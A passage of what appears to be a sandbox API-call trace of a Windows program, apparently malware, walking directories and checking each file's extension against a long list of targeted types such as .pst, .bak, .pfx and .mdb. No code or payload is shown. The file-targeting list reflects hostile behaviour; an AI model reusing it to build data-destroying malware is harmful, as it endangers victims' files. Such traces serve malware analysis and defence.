-1 [0097.366] lstrlenW (lpString=".geo") returned 4 [0097.366] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".gif") returned 4 [0097.366] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".grs") returned 4 [0097.366] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".gz") returned 3 [0097.366] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.366] lstrlenW (lpString=".h") returned 2 [0097.366] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.366] lstrlenW (lpString=".hdr") returned 4 [0097.366] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".hpp") returned 4 [0097.366] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".hta") returned 4 [0097.366] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".htc") returned 4 [0097.366] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".htm") returned 4 [0097.366] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".html") returned 5 [0097.366] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.366] lstrlenW (lpString=".icb") returned 4 [0097.366] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".ics") returned 4 [0097.366] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".iff") returned 4 [0097.367] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".inc") returned 4 [0097.367] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".indd") returned 5 [0097.367] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.367] lstrlenW (lpString=".ini") returned 4 [0097.367] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".iqy") returned 4 [0097.367] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".j2c") returned 4 [0097.367] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".j2k") returned 4 [0097.367] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".java") returned 5 [0097.367] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.367] lstrlenW (lpString=".jp2") returned 4 [0097.367] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".jpc") returned 4 [0097.367] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".jpe") returned 4 [0097.367] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".jpeg") returned 5 [0097.367] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.367] lstrlenW (lpString=".jpf") returned 4 [0097.367] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.367] lstrlenW (lpString=".jpg") returned 4 [0097.367] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".jpx") returned 4 [0097.368] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".js") returned 3 [0097.368] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.368] lstrlenW (lpString=".jsf") returned 4 [0097.368] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".json") returned 5 [0097.368] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.368] lstrlenW (lpString=".jsp") returned 4 [0097.368] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".kdc") returned 4 [0097.368] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".kmz") returned 4 [0097.368] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".kwm") returned 4 [0097.368] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".lasso") returned 6 [0097.368] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.368] lstrlenW (lpString=".lbi") returned 4 [0097.368] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".lgf") returned 4 [0097.368] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".lgp") returned 4 [0097.368] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".log") returned 4 [0097.368] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".m1v") returned 4 [0097.368] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.368] lstrlenW (lpString=".m4a") returned 4 [0097.369] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".m4v") returned 4 [0097.369] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".max") returned 4 [0097.369] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".md") returned 3 [0097.369] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.369] lstrlenW (lpString=".mda") returned 4 [0097.369] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mdb") returned 4 [0097.369] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mde") returned 4 [0097.369] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mdf") returned 4 [0097.369] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mdw") returned 4 [0097.369] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mef") returned 4 [0097.369] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mft") returned 4 [0097.369] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mfw") returned 4 [0097.369] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mht") returned 4 [0097.369] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.369] lstrlenW (lpString=".mhtml") returned 6 [0097.369] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.369] lstrlenW (lpString=".mka") returned 4 [0097.369] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mkidx") returned 6 [0097.370] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.370] lstrlenW (lpString=".mkv") returned 4 [0097.370] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mos") returned 4 [0097.370] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mov") returned 4 [0097.370] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mp3") returned 4 [0097.370] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mp4") returned 4 [0097.370] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mpeg") returned 5 [0097.370] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.370] lstrlenW (lpString=".mpg") returned 4 [0097.370] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mpv") returned 4 [0097.370] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mrw") returned 4 [0097.370] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".msg") returned 4 [0097.370] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".mxl") returned 4 [0097.370] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".myd") returned 4 [0097.370] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".myi") returned 4 [0097.370] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.370] lstrlenW (lpString=".nef") returned 4 [0097.371] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".nrw") returned 4 [0097.371] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".obj") returned 4 [0097.371] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".odb") returned 4 [0097.371] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".odc") returned 4 [0097.371] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".odm") returned 4 [0097.371] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".odp") returned 4 [0097.371] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".ods") returned 4 [0097.371] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".oft") returned 4 [0097.371] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".one") returned 4 [0097.371] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".onepkg") returned 7 [0097.371] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.371] lstrlenW (lpString=".onetoc2") returned 8 [0097.371] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.371] lstrlenW (lpString=".opt") returned 4 [0097.371] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".oqy") returned 4 [0097.371] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.371] lstrlenW (lpString=".orf") returned 4 [0097.371] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".p12") returned 4 [0097.372] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".p7b") returned 4 [0097.372] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".p7c") returned 4 [0097.372] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pam") returned 4 [0097.372] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pbm") returned 4 [0097.372] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pct") returned 4 [0097.372] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pcx") returned 4 [0097.372] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pdd") returned 4 [0097.372] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pdf") returned 4 [0097.372] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pdp") returned 4 [0097.372] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pef") returned 4 [0097.372] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pem") returned 4 [0097.372] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pff") returned 4 [0097.372] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pfm") returned 4 [0097.372] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.372] lstrlenW (lpString=".pfx") returned 4 [0097.373] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".pgm") returned 4 [0097.373] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".php") returned 4 [0097.373] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".php3") returned 5 [0097.373] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.373] lstrlenW (lpString=".php4") returned 5 [0097.373] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.373] lstrlenW (lpString=".php5") returned 5 [0097.373] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.373] lstrlenW (lpString=".phtml") returned 6 [0097.373] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.373] lstrlenW (lpString=".pict") returned 5 [0097.373] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.373] lstrlenW (lpString=".pl") returned 3 [0097.373] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.373] lstrlenW (lpString=".pls") returned 4 [0097.373] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".pm") returned 3 [0097.373] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.373] lstrlenW (lpString=".png") returned 4 [0097.373] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".pnm") returned 4 [0097.373] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".pot") returned 4 [0097.373] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.373] lstrlenW (lpString=".potm") returned 5 [0097.373] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.373] lstrlenW (lpString=".potx") returned 5 [0097.374] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.374] lstrlenW (lpString=".ppa") returned 4 [0097.374] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".ppam") returned 5 [0097.374] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.374] lstrlenW (lpString=".ppm") returned 4 [0097.374] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".pps") returned 4 [0097.374] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".ppsm") returned 5 [0097.374] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.374] lstrlenW (lpString=".ppt") returned 4 [0097.374] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".pptm") returned 5 [0097.374] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.374] lstrlenW (lpString=".pptx") returned 5 [0097.374] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.374] lstrlenW (lpString=".prn") returned 4 [0097.374] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".ps") returned 3 [0097.374] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.374] lstrlenW (lpString=".psb") returned 4 [0097.374] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".psd") returned 4 [0097.374] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".pst") returned 4 [0097.374] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".ptx") returned 4 [0097.374] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.374] lstrlenW (lpString=".pub") returned 4 [0097.375] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.375] lstrlenW (lpString=".pwm") returned 4 [0097.375] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.375] lstrlenW (lpString=".pxr") returned 4 [0097.375] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.375] lstrlenW (lpString=".py") returned 3 [0097.375] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.375] lstrlenW (lpString=".qt") returned 3 [0097.375] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.375] lstrlenW (lpString=".r3d") returned 4 [0097.375] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.375] lstrlenW (lpString=".raf") returned 4 [0097.375] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.375] lstrlenW (lpString=".rar") returned 4 [0097.375] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.375] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.375] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.376] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0098.984] FindClose (in: hFindFile=0x3e50300 | out: hFindFile=0x3e50300) returned 1 [0099.870] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0099.870] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0099.870] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0099.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26 [0099.870] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50640 [0099.871] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.871] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.871] lstrlenW (lpString="eula.rtf") returned 8 [0099.871] lstrlenW (lpString=".1cd") returned 4 [0099.871] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.871] lstrlenW (lpString=".3ds") returned 4 [0099.871] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.871] lstrlenW (lpString=".3fr") returned 4 [0099.871] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.871] lstrlenW (lpString=".3g2") returned 4 [0099.871] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.871] lstrlenW (lpString=".3gp") returned 4 [0099.871] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.871] lstrlenW (lpString=".7z") returned 3 [0099.871] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.871] lstrlenW (lpString=".accda") returned 6 [0099.871] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.871] lstrlenW (lpString=".accdb") returned 6 [0099.871] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.872] lstrlenW (lpString=".accdc") returned 6 [0099.872] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.872] lstrlenW (lpString=".accde") returned 6 [0099.872] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.872] lstrlenW (lpString=".accdt") returned 6 [0099.872] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.872] lstrlenW (lpString=".accdw") returned 6 [0099.872] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.872] lstrlenW (lpString=".adb") returned 4 [0099.872] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".adp") returned 4 [0099.872] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai") returned 3 [0099.872] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.872] lstrlenW (lpString=".ai3") returned 4 [0099.872] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai4") returned 4 [0099.872] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai5") returned 4 [0099.872] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai6") returned 4 [0099.872] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai7") returned 4 [0099.872] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".ai8") returned 4 [0099.872] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.872] lstrlenW (lpString=".anim") returned 5 [0099.872] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.872] lstrlenW (lpString=".arw") returned 4 [0099.872] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".as") returned 3 [0099.873] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.873] lstrlenW (lpString=".asa") returned 4 [0099.873] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".asc") returned 4 [0099.873] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".ascx") returned 5 [0099.873] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.873] lstrlenW (lpString=".asm") returned 4 [0099.873] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".asmx") returned 5 [0099.873] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.873] lstrlenW (lpString=".asp") returned 4 [0099.873] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".aspx") returned 5 [0099.873] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.873] lstrlenW (lpString=".asr") returned 4 [0099.873] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".asx") returned 4 [0099.873] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".avi") returned 4 [0099.873] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".avs") returned 4 [0099.873] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".backup") returned 7 [0099.873] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.873] lstrlenW (lpString=".bak") returned 4 [0099.873] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.873] lstrlenW (lpString=".bay") returned 4 [0099.874] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".bd") returned 3 [0099.874] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.874] lstrlenW (lpString=".bin") returned 4 [0099.874] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".bmp") returned 4 [0099.874] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".bz2") returned 4 [0099.874] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".c") returned 2 [0099.874] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.874] lstrlenW (lpString=".cdr") returned 4 [0099.874] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".cer") returned 4 [0099.874] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".cf") returned 3 [0099.874] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.874] lstrlenW (lpString=".cfc") returned 4 [0099.874] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".cfm") returned 4 [0099.874] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".cfml") returned 5 [0099.874] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.874] lstrlenW (lpString=".cfu") returned 4 [0099.874] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".chm") returned 4 [0099.874] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.874] lstrlenW (lpString=".cin") returned 4 [0099.874] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".class") returned 6 [0099.875] lstrcmpiW 